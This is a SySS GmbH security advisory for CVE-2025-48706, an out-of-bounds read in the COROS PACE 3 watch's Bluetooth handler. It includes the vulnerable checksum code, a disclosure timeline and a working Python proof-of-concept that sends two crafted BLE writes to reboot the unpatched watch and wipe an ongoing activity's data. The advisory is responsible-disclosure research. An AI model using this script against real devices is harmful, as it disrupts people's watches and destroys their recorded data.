-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2025-028 Product: COROS PACE 3 Manufacturer: COROS Wearables, Inc. Affected Version(s): <= V 3.0808.0 Tested Version(s): V 3.0808.0 Vulnerability Type: Out-of-bounds Read (CWE-125) Risk Level: Medium Solution Status: Not yet fixed Manufacturer Notification: 2025-03-14 Solution Date: N.A. Public Disclosure: 2025-06-17 CVE Reference: CVE-2025-48706 Author of Advisory: Moritz Abrell, SySS GmbH Jan Wütherich, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The COROS PACE 3 is a professional GPS sport smart watch. The manufacturer describes the product as follows (see [1]): "Improving on its legendary predecessor in every way, PACE 3 packs an even more powerful punch. Track your training and recovery with a watch that's lightweight and comfortable, with advanced technology, outstanding data accuracy, and backed by the industry-leading COROS training software system. The COROS PACE 3 paves the way to discover your potential." Due to an out-of-bounds (OOB) vulnerability, sending a specially crafted Bluetooth Low Energy (BLE) message forces the device to reboot. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: Connecting to the COROS PACE 3 and writing the following byte sequences to the characteristic with the UUID "6e400002-b5a3-f393-e0a9-77656c6f6f70" forces the watch to reboot: b900 0000 If exploited during an ongoing activity, it leads to the termination of the activity itself and the loss of the recorded data. Requests sent to this characteristic are handled by the ble_protocol_cmd_receive function. This function expects 16-bit packets containing a command field as the first byte: 0 8 16 +-------------+ | Command | 0 | +-------------+ After sending the command 0xB9 an additional packet from the same connection ID can be received. The function expects the packet to contain additional data over which an 8-bit checksum will be calculated. The checksum is validated against the last byte of the packet: 0 8 16 n-8 n +-------------------------+ | 0 | 0 | Data | Checksum | +-------------------------+ The following code describes how the checksum is calculated: char* data = (char*) packet + 2; unsigned data_size = packet_size - 3; char checksum = calculate_checksum(data, data_size); if (payload[data_size] == checksum) // pass else // fail Sending a packet that is only 2 bytes in size causes an underflow in the 32-bit data_size variable, resulting in the value 0xFFFFFFFF to be passed to the calculate_checksum function as the buffer size. As a result, calculate_checksum reads past the end of the buffer until it reaches the end of the memory bounds, at which point a data abort is raised. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following proof-of-concept script connects to a COROS PACE 3 and triggers the denial-of-service vulnerability: #################### import asyncio from bleak import BleakClient import sys DEVICE_ADDRESS = "F7:AF:1D:27:03:b0" CHARACTERISTIC_UUID = "6e400002b5a3f393e0a977656c6f6f70" DATA1 = bytes.fromhex("b900") DATA2 = bytes.fromhex("0000") async def write_to_ble_device(): client = BleakClient(DEVICE_ADDRESS) try: await client.connect() await asyncio.sleep(2) if client.is_connected: print(f"connected to {DEVICE_ADDRESS}") await client.write_gatt_char(CHARACTERISTIC_UUID, DATA1, response=False) await client.write_gatt_char(CHARACTERISTIC_UUID, DATA2, response=False) print("Press ctrl-c to disconnect") await asyncio.Event().wait() except Exception as e: print(f"Error: {e}") finally: if client.is_connected: await client.disconnect() asyncio.run(write_to_ble_device()) #################### # Executing the script results in a reboot of the watch: $ python3 poc.py ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Not yet fixed ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2025-03-10: Vulnerability discovered 2025-03-14: Vulnerability reported to manufacturer 2025-03-14: Confirmation of receipt received 2025-03-17: Asked the manufacturer for an update 2025-03-31: More information provided to the manufacturer 2025-04-07: Asked the manufacturer for an update 2025-04-14: Asked once again for an update 2025-04-15: Answer received from the manufacturer; manufacturer informed SySS GmbH that a fix is planned for June, 2025 2025-04-15: Receipt confirmed 2025-05-26: More detailed information provided to the manufacturer 2025-05-26: Manufacturer confirmed receipt 2025-06-17: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] COROS PACE 3 product website https://eu.coros.com/pace3 [2] SySS Security Advisory SYSS-2025-028 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-028.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] CVE-2025-48706 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-48706 [5] Detailed blog post: https://blog.syss.com/posts/bluetooth-analysis-coros-pace-3/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Moritz Abrell and Jan Wütherich of SySS GmbH. E-Mail: moritz.abrell@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Abrell.asc Key Fingerprint: 2927 7EB6 1A20 0679 79E9 87E6 AE0C 9BF8 F134 8B53 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEKSd+thogBnl56Yfmrgyb+PE0i1MFAmhQEgwACgkQrgyb+PE0 i1P1ZA//WCWNWnqFDfGOBIjLg5g5DxmTQ85IR3rGXIQje8sFKaIFjOfiJKbhNAfM 6/YlctxxOYGx2REwEYoe2cJQtiC0BGz6ymLumr17E4ZJlkDh4zqJHEAsPlR6XI+n MJxTvEJflAiuB4BLxcBJwV0r9KadwaUkC/y1qvVyXT7QqdOy/TK8aE0kooppOFsR Y/JvBE0dntI5olqXad0yVG6GUYsSSFUgctMC1P/fw1cETpxUPlPqJuYJmkhLPnE5 dtWj09oFTVD74iAe4fYpU7PWbSM4bCG48UN/0hQ6lFhLEXMZeCtaPGpHeMPoGt9y nH9LbMcLtEsD/gFCgfsd25BldupabnTZ4dXXreAyvIysyTGaDCCW9VsbRJev3DtA BpT21KFGedkTd2WOCRi4e7qnR2jHOSEaJtFFF/Z8bzB2Gqy9rFEyGBHGOS/Wgtp0 +TP80qroOsqzL9N+Jk/Suzpxrj3P4VOM0L5sCtUqCplYN6w15Yp1rbXJAwfVMViO eg3oU/iGXPiY56FfCmij+pFHzIZg6zwEBmjxp7r7kY1ihizSb4KJvN2HobpRUthV lhBuI3gWvcD25WnUToQ19wVB/WudsQaP2HObX0/D5pR6Jn02pAY5oYi0EK6s5NkX wbbqyFiazTjd8YcLcP9TK3zcHWmJjTy6fxYRsgRLOXZvyDxEbm4= =sd63 -----END PGP SIGNATURE-----